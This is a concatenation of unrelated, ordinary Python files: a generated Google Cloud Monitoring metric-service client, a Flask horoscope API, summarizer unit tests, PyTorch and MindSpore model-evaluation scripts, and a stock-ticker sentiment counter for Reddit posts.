import collections
import json
import os
import pkg_resources
import platform

from google.gax import api_callable
from google.gax import config
from google.gax import path_template
import google.gax

from google.api import metric_pb2 as api_metric_pb2
from google.cloud.gapic.monitoring.v3 import enums
from google.cloud.proto.monitoring.v3 import common_pb2
from google.cloud.proto.monitoring.v3 import metric_pb2 as v3_metric_pb2
from google.cloud.proto.monitoring.v3 import metric_service_pb2

_PageDesc = google.gax.PageDescriptor

class MetricServiceClient(object):
    """
    Manages metric descriptors, monitored resource descriptors, and
    time series data.
    """

    SERVICE_ADDRESS = 'monitoring.googleapis.com'
    """The default address of the service."""

    DEFAULT_SERVICE_PORT = 443
    """The default port of the service."""

    _PAGE_DESCRIPTORS = {
        'list_monitored_resource_descriptors':
        _PageDesc('page_token', 'next_page_token', 'resource_descriptors'),
        'list_metric_descriptors': _PageDesc('page_token', 'next_page_token',
                                             'metric_descriptors'),
        'list_time_series': _PageDesc('page_token', 'next_page_token',
                                      'time_series')
    }

    # The scopes needed to make gRPC calls to all of the methods defined in
    # this service
    _ALL_SCOPES = (
        'https://www.googleapis.com/auth/cloud-platform',
        'https://www.googleapis.com/auth/monitoring',
        'https://www.googleapis.com/auth/monitoring.read',
        'https://www.googleapis.com/auth/monitoring.write', )

    _PROJECT_PATH_TEMPLATE = path_template.PathTemplate('projects/{project}')
    _METRIC_DESCRIPTOR_PATH_TEMPLATE = path_template.PathTemplate(
        'projects/{project}/metricDescriptors/{metric_descriptor=**}')
    _MONITORED_RESOURCE_DESCRIPTOR_PATH_TEMPLATE = path_template.PathTemplate(
        'projects/{project}/monitoredResourceDescriptors/{monitored_resource_descriptor}'
    )

    @classmethod
    def project_path(cls, project):
        """Returns a fully-qualified project resource name string."""
        return cls._PROJECT_PATH_TEMPLATE.render({'project': project, })

    @classmethod
    def metric_descriptor_path(cls, project, metric_descriptor):
        """Returns a fully-qualified metric_descriptor resource name string."""
        return cls._METRIC_DESCRIPTOR_PATH_TEMPLATE.render({
            'project': project,
            'metric_descriptor': metric_descriptor,
        })

    @classmethod
    def monitored_resource_descriptor_path(cls, project,
                                           monitored_resource_descriptor):
        """Returns a fully-qualified monitored_resource_descriptor resource name string."""
        return cls._MONITORED_RESOURCE_DESCRIPTOR_PATH_TEMPLATE.render({
            'project': project,
            'monitored_resource_descriptor': monitored_resource_descriptor,
        })

    @classmethod
    def match_project_from_project_name(cls, project_name):
        """Parses the project from a project resource.

        Args:
          project_name (string): A fully-qualified path representing a project
            resource.

        Returns:
          A string representing the project.
        """
        return cls._PROJECT_PATH_TEMPLATE.match(project_name).get('project')

    @classmethod
    def match_project_from_metric_descriptor_name(cls, metric_descriptor_name):
        """Parses the project from a metric_descriptor resource.

        Args:
          metric_descriptor_name (string): A fully-qualified path representing a metric_descriptor
            resource.

        Returns:
          A string representing the project.
        """
        return cls._METRIC_DESCRIPTOR_PATH_TEMPLATE.match(
            metric_descriptor_name).get('project')

    @classmethod
    def match_metric_descriptor_from_metric_descriptor_name(
            cls, metric_descriptor_name):
        """Parses the metric_descriptor from a metric_descriptor resource.

        Args:
          metric_descriptor_name (string): A fully-qualified path representing a metric_descriptor
            resource.

        Returns:
          A string representing the metric_descriptor.
        """
        return cls._METRIC_DESCRIPTOR_PATH_TEMPLATE.match(
            metric_descriptor_name).get('metric_descriptor')

    @classmethod
    def match_project_from_monitored_resource_descriptor_name(
            cls, monitored_resource_descriptor_name):
        """Parses the project from a monitored_resource_descriptor resource.

        Args:
          monitored_resource_descriptor_name (string): A fully-qualified path representing a monitored_resource_descriptor
            resource.

        Returns:
          A string representing the project.
        """
        return cls._MONITORED_RESOURCE_DESCRIPTOR_PATH_TEMPLATE.match(
            monitored_resource_descriptor_name).get('project')

    @classmethod
    def match_monitored_resource_descriptor_from_monitored_resource_descriptor_name(
            cls, monitored_resource_descriptor_name):
        """Parses the monitored_resource_descriptor from a monitored_resource_descriptor resource.

        Args:
          monitored_resource_descriptor_name (string): A fully-qualified path representing a monitored_resource_descriptor
            resource.

        Returns:
          A string representing the monitored_resource_descriptor.
        """
        return cls._MONITORED_RESOURCE_DESCRIPTOR_PATH_TEMPLATE.match(
            monitored_resource_descriptor_name).get(
                'monitored_resource_descriptor')

    def __init__(self,
                 service_path=SERVICE_ADDRESS,
                 port=DEFAULT_SERVICE_PORT,
                 channel=None,
                 credentials=None,
                 ssl_credentials=None,
                 scopes=None,
                 client_config=None,
                 app_name=None,
                 app_version='',
                 lib_name=None,
                 lib_version='',
                 metrics_headers=()):
        """Constructor.

        Args:
          service_path (string): The domain name of the API remote host.
          port (int): The port on which to connect to the remote host.
          channel (:class:`grpc.Channel`): A ``Channel`` instance through
            which to make calls.
          credentials (object): The authorization credentials to attach to
            requests. These credentials identify this application to the
            service.
          ssl_credentials (:class:`grpc.ChannelCredentials`): A
            ``ChannelCredentials`` instance for use with an SSL-enabled
            channel.
          scopes (list[string]): A list of OAuth2 scopes to attach to requests.
          client_config (dict):
            A dictionary for call options for each method. See
            :func:`google.gax.construct_settings` for the structure of
            this data. Falls back to the default config if not specified
            or the specified config is missing data points.
          app_name (string): The name of the application calling
            the service. Recommended for analytics purposes.
          app_version (string): The version of the application calling
            the service. Recommended for analytics purposes.
          lib_name (string): The API library software used for calling
            the service. (Unless you are writing an API client itself,
            leave this as default.)
          lib_version (string): The API library software version used
            for calling the service. (Unless you are writing an API client
            itself, leave this as default.)
          metrics_headers (dict): A dictionary of values for tracking
            client library metrics. Ultimately serializes to a string
            (e.g. 'foo/1.2.3 bar/3.14.1'). This argument should be
            considered private.

        Returns:
          A MetricServiceClient object.
        """
        # Unless the calling application specifically requested
        # OAuth scopes, request everything.
        if scopes is None:
            scopes = self._ALL_SCOPES

        # Initialize an empty client config, if none is set.
        if client_config is None:
            client_config = {}

        # Initialize metrics_headers as an ordered dictionary
        # (cuts down on cardinality of the resulting string slightly).
        metrics_headers = collections.OrderedDict(metrics_headers)
        metrics_headers['gl-python'] = platform.python_version()

        # The library may or may not be set, depending on what is
        # calling this client. Newer client libraries set the library name
        # and version.
        if lib_name:
            metrics_headers[lib_name] = lib_version

        # Finally, track the GAPIC package version.
        metrics_headers['gapic'] = pkg_resources.get_distribution(
            'gapic-google-cloud-monitoring-v3', ).version

        # Load the configuration defaults.
        default_client_config = json.loads(
            pkg_resources.resource_string(
                __name__, 'metric_service_client_config.json').decode())
        defaults = api_callable.construct_settings(
            'google.monitoring.v3.MetricService',
            default_client_config,
            client_config,
            config.STATUS_CODE_NAMES,
            metrics_headers=metrics_headers,
            page_descriptors=self._PAGE_DESCRIPTORS, )
        self.metric_service_stub = config.create_stub(
            metric_service_pb2.MetricServiceStub,
            channel=channel,
            service_path=service_path,
            service_port=port,
            credentials=credentials,
            scopes=scopes,
            ssl_credentials=ssl_credentials)

        self._list_monitored_resource_descriptors = api_callable.create_api_call(
            self.metric_service_stub.ListMonitoredResourceDescriptors,
            settings=defaults['list_monitored_resource_descriptors'])
        self._get_monitored_resource_descriptor = api_callable.create_api_call(
            self.metric_service_stub.GetMonitoredResourceDescriptor,
            settings=defaults['get_monitored_resource_descriptor'])
        self._list_metric_descriptors = api_callable.create_api_call(
            self.metric_service_stub.ListMetricDescriptors,
            settings=defaults['list_metric_descriptors'])
        self._get_metric_descriptor = api_callable.create_api_call(
            self.metric_service_stub.GetMetricDescriptor,
            settings=defaults['get_metric_descriptor'])
        self._create_metric_descriptor = api_callable.create_api_call(
            self.metric_service_stub.CreateMetricDescriptor,
            settings=defaults['create_metric_descriptor'])
        self._delete_metric_descriptor = api_callable.create_api_call(
            self.metric_service_stub.DeleteMetricDescriptor,
            settings=defaults['delete_metric_descriptor'])
        self._list_time_series = api_callable.create_api_call(
            self.metric_service_stub.ListTimeSeries,
            settings=defaults['list_time_series'])
        self._create_time_series = api_callable.create_api_call(
            self.metric_service_stub.CreateTimeSeries,
            settings=defaults['create_time_series'])

    # Service calls
    def list_monitored_resource_descriptors(self,
                                            name,
                                            filter_='',
                                            page_size=0,
                                            options=None):
        """
        Lists monitored resource descriptors that match a filter. This method does not require a Stackdriver account.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> from google.gax import CallOptions, INITIAL_PAGE
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.project_path('[PROJECT]')
          >>>
          >>> # Iterate over all results
          >>> for element in api.list_monitored_resource_descriptors(name):
          >>>   # process element
          >>>   pass
          >>>
          >>> # Or iterate over results one page at a time
          >>> for page in api.list_monitored_resource_descriptors(name, options=CallOptions(page_token=INITIAL_PAGE)):
          >>>   for element in page:
          >>>     # process element
          >>>     pass

        Args:
          name (string): The project on which to execute the request. The format is
            ``\"projects/{project_id_or_number}\"``.
          filter_ (string): An optional `filter <https://cloud.google.com/monitoring/api/v3/filters>`_ describing
            the descriptors to be returned.  The filter can reference
            the descriptor's type and labels. For example, the
            following filter returns only Google Compute Engine descriptors
            that have an ``id`` label:

            ::

                resource.type = starts_with(\"gce_\") AND resource.label:id
          page_size (int): The maximum number of resources contained in the
            underlying API response. If page streaming is performed per-
            resource, this parameter does not affect the return value. If page
            streaming is performed per-page, this determines the maximum number
            of resources in a page.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Returns:
          A :class:`google.gax.PageIterator` instance. By default, this
          is an iterable of :class:`google.api.monitored_resource_pb2.MonitoredResourceDescriptor` instances.
          This object can also be configured to iterate over the pages
          of the response through the `CallOptions` parameter.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.ListMonitoredResourceDescriptorsRequest(
            name=name, filter=filter_, page_size=page_size)
        return self._list_monitored_resource_descriptors(request, options)

    def get_monitored_resource_descriptor(self, name, options=None):
        """
        Gets a single monitored resource descriptor. This method does not require a Stackdriver account.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.monitored_resource_descriptor_path('[PROJECT]', '[MONITORED_RESOURCE_DESCRIPTOR]')
          >>> response = api.get_monitored_resource_descriptor(name)

        Args:
          name (string): The monitored resource descriptor to get.  The format is
            ``\"projects/{project_id_or_number}/monitoredResourceDescriptors/{resource_type}\"``.
            The ``{resource_type}`` is a predefined type, such as
            ``cloudsql_database``.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Returns:
          A :class:`google.api.monitored_resource_pb2.MonitoredResourceDescriptor` instance.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.GetMonitoredResourceDescriptorRequest(
            name=name)
        return self._get_monitored_resource_descriptor(request, options)

    def list_metric_descriptors(self,
                                name,
                                filter_='',
                                page_size=0,
                                options=None):
        """
        Lists metric descriptors that match a filter. This method does not require a Stackdriver account.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> from google.gax import CallOptions, INITIAL_PAGE
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.project_path('[PROJECT]')
          >>>
          >>> # Iterate over all results
          >>> for element in api.list_metric_descriptors(name):
          >>>   # process element
          >>>   pass
          >>>
          >>> # Or iterate over results one page at a time
          >>> for page in api.list_metric_descriptors(name, options=CallOptions(page_token=INITIAL_PAGE)):
          >>>   for element in page:
          >>>     # process element
          >>>     pass

        Args:
          name (string): The project on which to execute the request. The format is
            ``\"projects/{project_id_or_number}\"``.
          filter_ (string): If this field is empty, all custom and
            system-defined metric descriptors are returned.
            Otherwise, the `filter <https://cloud.google.com/monitoring/api/v3/filters>`_
            specifies which metric descriptors are to be
            returned. For example, the following filter matches all
            `custom metrics <https://cloud.google.com/monitoring/custom-metrics>`_:

            ::

                metric.type = starts_with(\"custom.googleapis.com/\")
          page_size (int): The maximum number of resources contained in the
            underlying API response. If page streaming is performed per-
            resource, this parameter does not affect the return value. If page
            streaming is performed per-page, this determines the maximum number
            of resources in a page.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Returns:
          A :class:`google.gax.PageIterator` instance. By default, this
          is an iterable of :class:`google.api.metric_pb2.MetricDescriptor` instances.
          This object can also be configured to iterate over the pages
          of the response through the `CallOptions` parameter.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.ListMetricDescriptorsRequest(
            name=name, filter=filter_, page_size=page_size)
        return self._list_metric_descriptors(request, options)

    def get_metric_descriptor(self, name, options=None):
        """
        Gets a single metric descriptor. This method does not require a Stackdriver account.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.metric_descriptor_path('[PROJECT]', '[METRIC_DESCRIPTOR]')
          >>> response = api.get_metric_descriptor(name)

        Args:
          name (string): The metric descriptor on which to execute the request. The format is
            ``\"projects/{project_id_or_number}/metricDescriptors/{metric_id}\"``.
            An example value of ``{metric_id}`` is
            ``\"compute.googleapis.com/instance/disk/read_bytes_count\"``.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Returns:
          A :class:`google.api.metric_pb2.MetricDescriptor` instance.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.GetMetricDescriptorRequest(name=name)
        return self._get_metric_descriptor(request, options)

    def create_metric_descriptor(self, name, metric_descriptor, options=None):
        """
        Creates a new metric descriptor.
        User-created metric descriptors define
        `custom metrics <https://cloud.google.com/monitoring/custom-metrics>`_.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> from google.api import metric_pb2 as api_metric_pb2
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.project_path('[PROJECT]')
          >>> metric_descriptor = api_metric_pb2.MetricDescriptor()
          >>> response = api.create_metric_descriptor(name, metric_descriptor)

        Args:
          name (string): The project on which to execute the request. The format is
            ``\"projects/{project_id_or_number}\"``.
          metric_descriptor (:class:`google.api.metric_pb2.MetricDescriptor`): The new `custom metric <https://cloud.google.com/monitoring/custom-metrics>`_
            descriptor.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Returns:
          A :class:`google.api.metric_pb2.MetricDescriptor` instance.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.CreateMetricDescriptorRequest(
            name=name, metric_descriptor=metric_descriptor)
        return self._create_metric_descriptor(request, options)

    def delete_metric_descriptor(self, name, options=None):
        """
        Deletes a metric descriptor. Only user-created
        `custom metrics <https://cloud.google.com/monitoring/custom-metrics>`_ can be deleted.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.metric_descriptor_path('[PROJECT]', '[METRIC_DESCRIPTOR]')
          >>> api.delete_metric_descriptor(name)

        Args:
          name (string): The metric descriptor on which to execute the request. The format is
            ``\"projects/{project_id_or_number}/metricDescriptors/{metric_id}\"``.
            An example of ``{metric_id}`` is:
            ``\"custom.googleapis.com/my_test_metric\"``.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.DeleteMetricDescriptorRequest(name=name)
        self._delete_metric_descriptor(request, options)

    def list_time_series(self,
                         name,
                         filter_,
                         interval,
                         view,
                         aggregation=None,
                         order_by='',
                         page_size=0,
                         options=None):
        """
        Lists time series that match a filter. This method does not require a Stackdriver account.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> from google.cloud.gapic.monitoring.v3 import enums
          >>> from google.cloud.proto.monitoring.v3 import common_pb2
          >>> from google.gax import CallOptions, INITIAL_PAGE
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.project_path('[PROJECT]')
          >>> filter_ = ''
          >>> interval = common_pb2.TimeInterval()
          >>> view = enums.ListTimeSeriesRequest.TimeSeriesView.FULL
          >>>
          >>> # Iterate over all results
          >>> for element in api.list_time_series(name, filter_, interval, view):
          >>>   # process element
          >>>   pass
          >>>
          >>> # Or iterate over results one page at a time
          >>> for page in api.list_time_series(name, filter_, interval, view, options=CallOptions(page_token=INITIAL_PAGE)):
          >>>   for element in page:
          >>>     # process element
          >>>     pass

        Args:
          name (string): The project on which to execute the request. The format is
            \"projects/{project_id_or_number}\".
          filter_ (string): A `monitoring filter <https://cloud.google.com/monitoring/api/v3/filters>`_ that specifies which time
            series should be returned.  The filter must specify a single metric type,
            and can additionally specify metric labels and other information. For
            example:

            ::

                metric.type = \"compute.googleapis.com/instance/cpu/usage_time\" AND
                    metric.label.instance_name = \"my-instance-name\"
          interval (:class:`google.cloud.proto.monitoring.v3.common_pb2.TimeInterval`): The time interval for which results should be returned. Only time series
            that contain data points in the specified interval are included
            in the response.
          aggregation (:class:`google.cloud.proto.monitoring.v3.common_pb2.Aggregation`): By default, the raw time series data is returned.
            Use this field to combine multiple time series for different
            views of the data.
          order_by (string): Specifies the order in which the points of the time series should
            be returned.  By default, results are not ordered.  Currently,
            this field must be left blank.
          view (enum :class:`google.cloud.gapic.monitoring.v3.enums.ListTimeSeriesRequest.TimeSeriesView`): Specifies which information is returned about the time series.
          page_size (int): The maximum number of resources contained in the
            underlying API response. If page streaming is performed per-
            resource, this parameter does not affect the return value. If page
            streaming is performed per-page, this determines the maximum number
            of resources in a page.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Returns:
          A :class:`google.gax.PageIterator` instance. By default, this
          is an iterable of :class:`google.cloud.proto.monitoring.v3.metric_pb2.TimeSeries` instances.
          This object can also be configured to iterate over the pages
          of the response through the `CallOptions` parameter.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        if aggregation is None:
            aggregation = common_pb2.Aggregation()
        # Create the request object.
        request = metric_service_pb2.ListTimeSeriesRequest(
            name=name,
            filter=filter_,
            interval=interval,
            view=view,
            aggregation=aggregation,
            order_by=order_by,
            page_size=page_size)
        return self._list_time_series(request, options)

    def create_time_series(self, name, time_series, options=None):
        """
        Creates or adds data to one or more time series.
        The response is empty if all time series in the request were written.
        If any time series could not be written, a corresponding failure message is
        included in the error response.

        Example:
          >>> from google.cloud.gapic.monitoring.v3 import metric_service_client
          >>> from google.cloud.proto.monitoring.v3 import metric_pb2 as v3_metric_pb2
          >>> api = metric_service_client.MetricServiceClient()
          >>> name = api.project_path('[PROJECT]')
          >>> time_series = []
          >>> api.create_time_series(name, time_series)

        Args:
          name (string): The project on which to execute the request. The format is
            ``\"projects/{project_id_or_number}\"``.
          time_series (list[:class:`google.cloud.proto.monitoring.v3.metric_pb2.TimeSeries`]): The new data to be added to a list of time series.
            Adds at most one data point to each of several time series.  The new data
            point must be more recent than any other point in its time series.  Each
            ``TimeSeries`` value must fully specify a unique time series by supplying
            all label values for the metric and the monitored resource.
          options (:class:`google.gax.CallOptions`): Overrides the default
            settings for this call, e.g, timeout, retries etc.

        Raises:
          :exc:`google.gax.errors.GaxError` if the RPC is aborted.
          :exc:`ValueError` if the parameters are invalid.
        """
        # Create the request object.
        request = metric_service_pb2.CreateTimeSeriesRequest(
            name=name, time_series=time_series)
        self._create_time_series(request, options)


from flask import Flask, jsonify
from Horoscope import Horoscope

app = Flask(__name__)

@app.route("/")
def index():
    return jsonify("Use api")

@app.route("/<string:p>")
def sign_horoscope(p):
    horoscope = Horoscope(p)
    return jsonify({
        "horoscope": horoscope.horoscope(),
        "matches": horoscope.matches(),
        "star_rating": horoscope.star_ratings(),
    })

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')


import unittest

import itertools

from summarizer.sumbasic import SumBasicAlgorithm
from summarizer.nlp import NaturalLanguageProcessor

class TextRankTestCase(unittest.TestCase):
    def setUp(self):
        self.sumbasic = SumBasicAlgorithm()
        self.text = (
            'Test1. Test2. Test2 Test3.')
        self.sentences = NaturalLanguageProcessor.split_by_sentences(self.text)
        self.words_in_sentence = {sentence: NaturalLanguageProcessor.split_by_words(sentence) for sentence in
                                  self.sentences}
        self.all_words = list(
            itertools.chain.from_iterable(self.words_in_sentence.values()))  # list of words from all sentences

    def test_compute_words_probabilities(self):
        self.sumbasic._compute_words_probabilities(self.all_words)
        self.assertEqual(self.sumbasic.word_probability["Test2"], 0.5, self.sumbasic.word_probability["Test2"])
        self.assertEqual(self.sumbasic.word_probability["Test1"], 0.25, self.sumbasic.word_probability["Test1"])
        self.assertEqual(self.sumbasic.word_probability["Test3"], 0.25, self.sumbasic.word_probability["Test3"])

    def test_compute_sentence_weight(self):
        self.sumbasic._compute_words_probabilities(self.all_words)
        sentence_weight_dict = {
            sentence: self.sumbasic._compute_sentence_weight(self.words_in_sentence[sentence], len(sentence))
            for sentence in self.sentences}
        self.assertEqual(len(self.sentences), len(sentence_weight_dict), len(sentence_weight_dict))

    def test_update_word_probabilities(self):
        self.sumbasic._compute_words_probabilities(self.all_words)
        self.assertEqual(self.sumbasic.word_probability["Test2"], 0.5, self.sumbasic.word_probability["Test2"])
        self.sumbasic._update_word_probabilities(self.words_in_sentence['Test2.'])
        self.assertEqual(self.sumbasic.word_probability["Test2"], 0.25, self.sumbasic.word_probability["Test2"])

    def test_choose_best_sentence(self):
        self.sumbasic._compute_words_probabilities(self.all_words)
        sentence_weight_dict = {
            sentence: self.sumbasic._compute_sentence_weight(self.words_in_sentence[sentence], len(sentence))
            for sentence in self.sentences}
        best_sentence = self.sumbasic._choose_best_sentence(sentence_weight_dict)
        self.assertEqual(best_sentence, "Test2.")

    def test_execute(self):
        result = self.sumbasic.execute(self.text, 1)
        self.assertIsNotNone(result)
        self.assertEqual("Test2.", result)


import torch.optim as optim
import torch.nn as nn
from model.tutorial_net import MnistTutorialNetV2
import os
from torchvision import transforms, utils
from torchvision.transforms import Resize, ToTensor
from model.image_folder_with_path import ImageFolderWithPaths, remove_none_collate
import torchvision
import torch
from util import get_train_valid_loader_v2, vgg_transformation
import sys
from torch.utils.data.dataloader import DataLoader
from PIL import ImageFile

ImageFile.LOAD_TRUNCATED_IMAGES = True
# https://discuss.pytorch.org/t/questions-about-dataloader-and-dataset/806/5
if __name__ == "__main__":
    print("use resnet")
    model_path = sys.argv[1]
    # at beginning of the script
    device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu")

    # filepath
    # landmark_input = "/data/cv_data/TrainVal"

    landmark_input = "/data/voice_zaloai/recognition/train/"
    # model_base_path = "/home/zdeploy/thient/model/landmark/landmark5"
    print("path----------")
    print(landmark_input)
    print(model_path)
    print("===============")

    # define net
    # net = MnistTutorialNetV2()

    model_conv = torchvision.models.resnet50(pretrained=True)

    # ## Change the last layer
    num_ftrs = model_conv.fc.in_features
    model_conv.fc = nn.Linear(num_ftrs, 103)
    net = model_conv.to(device)  # cuda or cpu
    net.load_state_dict(torch.load(model_path))

    # for vgg model
    normalize = transforms.Normalize(
        mean=[0.485, 0.456, 0.406],
        std=[0.229, 0.224, 0.225],
    )

    train_transform, val_transform = vgg_transformation(normalize=normalize)

    train_loader, val_loader = get_train_valid_loader_v2(landmark_input, 400, 113,
                                                         train_transform, val_transform,
                                                         0.1, True, 1, True)

    # define a loss function
    # criterion = nn.NLLLoss()
    criterion = nn.CrossEntropyLoss()
    optimizer = optim.Adam(net.parameters(), weight_decay=1e-2)

    val_correct = 0
    val_total = 0

    net.eval()
    for datapoint in val_loader:
        images, labels, path = datapoint
        images = images.to(device)
        # labels = labels.to(device)
        outputs = net(images)
        _, predicted = torch.max(outputs.data, 1)
        corrects = torch.sum(predicted.to("cpu") == labels.data)
        total = len(labels.data)
        val_correct += corrects.item()
        val_total += total

    print(val_correct)
    print(val_total)
    print(1.0 * val_correct/ val_total)

    print('Finished Training')


from src.encoder import Encoder
from src.decoder import Decoder
from src.model import ED
from src.net_params import convlstm_encoder_params, convlstm_decoder_params
from src.MMDatasets import MovingMNIST

import os
import numpy as np
import argparse
import datetime
from skimage.metrics import structural_similarity as ssim

import mindspore
import mindspore.nn as nn
from mindspore.dataset import GeneratorDataset
from mindspore import context

parser = argparse.ArgumentParser()
parser.add_argument('-clstm',
                    '--convlstm',
                    help='use convlstm as base cell',
                    action='store_true')
parser.add_argument('--batch_size',
                    default=24,
                    type=int,
                    help='mini-batch size')
parser.add_argument('-lr', default=1e-4, type=float, help='G learning rate')
parser.add_argument('-frames_input',
                    default=10,
                    type=int,
                    help='sum of input frames')
parser.add_argument('-frames_output',
                    default=10,
                    type=int,
                    help='sum of predict frames')
parser.add_argument('-checkpoints',
                    default='checkpoint_66_0.000961.ckpt',
                    type=str,
                    help='use which checkpoints')
parser.add_argument('-epochs', default=500, type=int, help='sum of epochs')
args = parser.parse_args()

random_seed = 1989
np.random.seed(random_seed)
mindspore.set_seed(random_seed)

save_dir = './save_model/'

testGenerator = MovingMNIST(is_train=False,
                          root='data/',
                          n_frames_input=args.frames_input,
                          n_frames_output=args.frames_output,
                          num_objects=[2])

testDataset = GeneratorDataset(testGenerator, column_names=['data', 'label']).batch(batch_size=args.batch_size)

encoder_params = convlstm_encoder_params
decoder_params = convlstm_decoder_params

def init_group_params(net):
    decayed_params = []
    no_decayed_params = []
    for param in net.trainable_params():
        if 'beta' not in param.name and 'gamma' not in param.name and 'bias' not in param.name:
            decayed_params.append(param)
        else:
            no_decayed_params.append(param)

    group_params = [{'params': decayed_params, 'weight_decay': 0.0},
                    {'params': no_decayed_params},
                    {'order_params': net.trainable_params()}]
    return group_params

def test():
    '''
    main function to run the training
    '''
    encoder = Encoder(encoder_params[0], encoder_params[1])
    decoder = Decoder(decoder_params[0], decoder_params[1])
    net = ED(encoder, decoder)

    # initialize the early_stopping object
    context.set_context(device_id=0)
    context.set_context(mode=context.PYNATIVE_MODE)

    load_checkpoint = os.path.join(save_dir, args.checkpoints)
    if os.path.exists(load_checkpoint):
        # load existing model
        print('==> loading existing model')
        model_info = mindspore.load_checkpoint(load_checkpoint)
        mindspore.load_param_into_net(net, model_info)
    else:
        if not os.path.isdir(save_dir):
            os.makedirs(save_dir)

    # to track the test loss as the model trains
    test_losses = []
    # to track the average test loss per epoch as the model trains
    avg_test_losses = []

    lossfunction = nn.MSELoss()

    # caculate the MAE MSE and SSIM
    total_mse, total_mae,total_ssim = 0,0,0

    ######################
    # test the model #
    ######################
    data_iterator = testDataset.create_tuple_iterator()
    for data, label in data_iterator:
        data = mindspore.Tensor(data, dtype=mindspore.float32)
        label = mindspore.Tensor(label, dtype=mindspore.float32)
        output = net(data)

        mse_batch = np.mean((output.asnumpy()-label.asnumpy())**2 , axis=(0,1,2)).sum()
        mae_batch = np.mean(np.abs(output.asnumpy()-label.asnumpy()) ,  axis=(0,1,2)).sum()
        total_mse += mse_batch
        total_mae += mae_batch
        loss = lossfunction(output, label)
        loss_aver = float(loss) / args.batch_size
        test_losses.append(loss_aver)
        for a in range(0,label.asnumpy().shape[0]):
            for b in range(0,label.asnumpy().shape[1]):
                total_ssim += ssim(label.asnumpy()[a,b,0,], output.asnumpy()[a,b,0,]) / (label.asnumpy().shape[0]*label.asnumpy().shape[1])

    # print test statistics
    # calculate test loss over an epoch
    valid_loss = np.average(test_losses)
    avg_test_losses.append(valid_loss)

    time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')

    print_msg = (f'# TIME: {time}' +
                f'test_loss: {valid_loss:.6f} |   '+
                f'ssim: {(total_ssim / testDataset.get_dataset_size()):.6f} '+
                f'mae: {(total_mae / testDataset.get_dataset_size()):.6f} '+
                f'mse: {(total_mse / testDataset.get_dataset_size()):.6f} ')

    print(print_msg)

    return None

if __name__ == "__main__":
    test()


import main
import stocks
import nltk
from nltk import word_tokenize
import operator
from collections import OrderedDict
from ticker import Ticker
def binarySearch(arr, target, lo=0, hi=None):
    if hi is None:
        hi = len(arr)
    while lo < hi:
        mid = (lo+hi)//2
        midval = arr[mid]
        if midval < target:
            lo = mid+1
        elif midval > target:
            hi = mid
        else:
            return mid
    return -1

keypos=["buy", "call", "hold"]
keyneg=["sell", "put"]
symbols = stocks.symbols
names = stocks.names
def process(sub,sort,num):
    curr = main.readSub(sub,sort,num)
    dictionary = {}
    count = 0
    for element in curr:
        tokenize= word_tokenize(element)
        count = 0
        mentions = []
        for item in tokenize:
            if(len(item) > 1 and binarySearch(symbols,item, 0, None) > 0):
                if(item in dictionary):
                    dictionary[item].mentions+=1
                    if(item not in mentions):
                        mentions.append(item)
                else:
                    dictionary[item] = Ticker(item,1,0)
            elif item in keypos:
                count +=1
            elif item in keyneg:
                count -=1
        for stuff in mentions:
            if(count>0):
                dictionary[stuff].sentiment+=1
            elif(count <0):
                dictionary[stuff].sentiment-=1
    dictionarySort = OrderedDict(sorted(dictionary.items(), key=lambda i: i[1].mentions, reverse = True))
    return dictionarySort
# tokenize = word_tokenize(curr)
# dictionary = {}
# for stuff in tokenize:
#     if(len(stuff)>1 and binarySearch(symbols,stuff,0,None)>0):
#         if(stuff in dictionary):
#             dictionary[stuff]+=1
#         else:
#             dictionary[stuff]=1

# for stuff in tokenize:
#     if(len(stuff)>1 and stuff in symbols):
#         if(stuff in dictionary):
#             dictionary[stuff]+=1
#         else:
#             dictionary[stuff]=1

